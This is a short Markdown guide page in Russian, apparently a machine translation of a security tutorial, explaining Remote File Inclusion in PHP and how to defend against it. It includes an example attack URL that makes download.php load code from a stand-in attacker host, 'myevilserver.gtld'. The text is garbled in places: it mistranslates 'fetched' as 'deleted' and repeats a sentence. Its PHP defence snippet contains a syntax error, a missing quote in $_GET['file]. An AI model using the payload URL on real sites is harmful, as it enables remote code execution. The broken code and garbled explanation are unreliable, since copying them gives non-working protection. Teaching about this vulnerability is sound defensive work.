28 lines
2.2 KiB
Markdown
28 lines
2.2 KiB
Markdown
|
---
|
|||
|
title: Remote File Inclusion
|
|||
|
localeTitle: Включение удаленного файла
|
|||
|
---
|
|||
|
## Включение удаленного файла
|
|||
|
|
|||
|
Уязвимость в приложении, вызванная программистом, требующая ввода файла, предоставленного пользователем, и не дезинфекция ввода перед доступом к запрашиваемому файлу. Это приводит к тому, что файл удаляется с удаленного сервера и включается там, где он не должен быть.
|
|||
|
|
|||
|
### Примеры удаленных попыток включения файлов
|
|||
|
|
|||
|
Веб-сайт позволяет просматривать PDF-файлы как `download.php?file=myfile.php` , из-за отсутствия надлежащей проверки злоумышленник может запросить удаленный ресурс и включить его в скрипт. URL-адрес может стать `download.php?file=http://myevilserver.gtld/evilcode.php` затем может быть `download.php?file=http://myevilserver.gtld/evilcode.php` пользователю или в тяжелых случаях запускает фактический PHP-код на вашем сервере.
|
|||
|
|
|||
|
### Защита вашего сайта от удаленных атак на включение файлов в PHP
|
|||
|
|
|||
|
Следующий PHP-код обеспечит надежную защиту от удаленных попыток включения файлов
|
|||
|
|
|||
|
```PHP
|
|||
|
<?php
|
|||
|
if(basename($_GET['file]) !== $_GET['file']) {
|
|||
|
die('INVALID FILE REQUESTED');
|
|||
|
}
|
|||
|
```
|
|||
|
|
|||
|
* Вы можете отключить `allow_url_fopen` в вашем файле php.ini в качестве дополнительной защиты от включения удаленного файла.
|
|||
|
|
|||
|
#### Дополнительная информация:
|
|||
|
|
|||
|
* [OWASP Wiki - Тестирование для включения удаленного файла](https://www.owasp.org/index.php/Testing_for_Remote_File_Inclusion)
|